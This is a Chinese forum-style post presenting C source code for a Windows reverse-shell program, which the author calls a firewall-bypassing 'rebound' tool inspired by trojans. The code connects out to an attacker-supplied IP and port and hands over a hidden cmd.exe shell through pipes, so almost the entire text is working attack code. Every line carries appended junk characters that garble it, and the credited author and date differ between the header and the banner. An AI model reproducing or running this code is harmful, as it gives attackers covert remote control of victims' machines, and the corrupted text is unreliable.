这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M5F(<,n;
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/* ============================== -}E)M}W
Rebound port in Windows NT Ri;=aZ5m
By wind,2006/7 l 4!kxXf-<
===============================*/ %v_IX2'
#include @81-kdTx
#include sRi?]9JIl
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#pragma comment(lib,"wsock32.lib") C1KfXC*|L
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void OutputShell(); Sf=F cb
SOCKET sClient; c%ZeX%p
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; QH4k!^
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void main(int argc,char **argv) qQL.c+%L
{ 5dqQws-,?1
WSADATA stWsaData; 8^8>qSD1
int nRet; A%h~Z
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SOCKADDR_IN stSaiClient,stSaiServer; ]7v81G5E
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if(argc != 3) ax4*xxU
{ ;CA ?eI
printf("Useage:\n\rRebound DestIP DestPort\n"); #FEa 5
return; UOw~rK
} |3S'8OeCI
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WSAStartup(MAKEWORD(2,2),&stWsaData); ud yAP>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~B<97x(X
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stSaiClient.sin_family = AF_INET; XO 0>t{G
stSaiClient.sin_port = htons(0); z<n"{%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); CdDH1[J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JOJh,8C)6
{ XpR.rq$]
printf("Bind Socket Failed!\n"); "EN98^
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return; UHr{
} EbG_43SV
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stSaiServer.sin_family = AF_INET; a_Z.J3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tvTWZ`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y*}AX%8`e~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?E%U|(S)=L
{ 3aEt>x
printf("Connect Error!"); sk~ za
return; ?hxK/%)
} be&6kG
OutputShell(); MhHr*!N"}
} 4,j4E@?pG9
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void OutputShell() 9cVn>Fb
{ Km[]^;6
char szBuff[1024]; Y=5!QLV4
SECURITY_ATTRIBUTES stSecurityAttributes; ;:AG2zE!
OSVERSIONINFO stOsversionInfo; /
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N{ : [/
STARTUPINFO stStartupInfo; #:]vUQ
char *szShell; yQ<6p3
PROCESS_INFORMATION stProcessInformation; _2]e1_=
unsigned long lBytesRead; F<h&3
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J f\Qf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (hpTJsZ
stSecurityAttributes.lpSecurityDescriptor = 0; :[A?A4l
stSecurityAttributes.bInheritHandle = TRUE; |}M~kJ)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'wCS6_K
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -$AjD?;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DfAiL(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oN.Mra]D
stStartupInfo.wShowWindow = SW_HIDE; %2^['8t#NH
stStartupInfo.hStdInput = hReadPipe; Bx\#`Y
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }W - K
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GetVersionEx(&stOsversionInfo); :jZ*,d%1={
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switch(stOsversionInfo.dwPlatformId) C*"Rd
{ +i: E
case 1: 9QX&7cs&[
szShell = "command.com"; on]\J
break; ~Y1"k]J
default: Hi9 G^Q
szShell = "cmd.exe"; B$K7L'e+-
break; p5lR-G
} ;e&hM\p
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DH}s1mNMP
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send(sClient,szMsg,77,0); PFImqojHd
while(1) h-z%C6
{ +}Qv6s#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E`oSi
ez)
if(lBytesRead) ZkJY.H-F
{ &>d:ewM\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); i;E9ZaW
send(sClient,szBuff,lBytesRead,0); W)6U6
} OU0xZ=G
else ,\|n=T,
{ ]3gYuz|
lBytesRead=recv(sClient,szBuff,1024,0); ~@b9
if(lBytesRead<=0) break; ==jkp
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "U/NMGMj
} qg_>`Bv"a
} rg#qSrHp
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return; |u?k-,uI9
}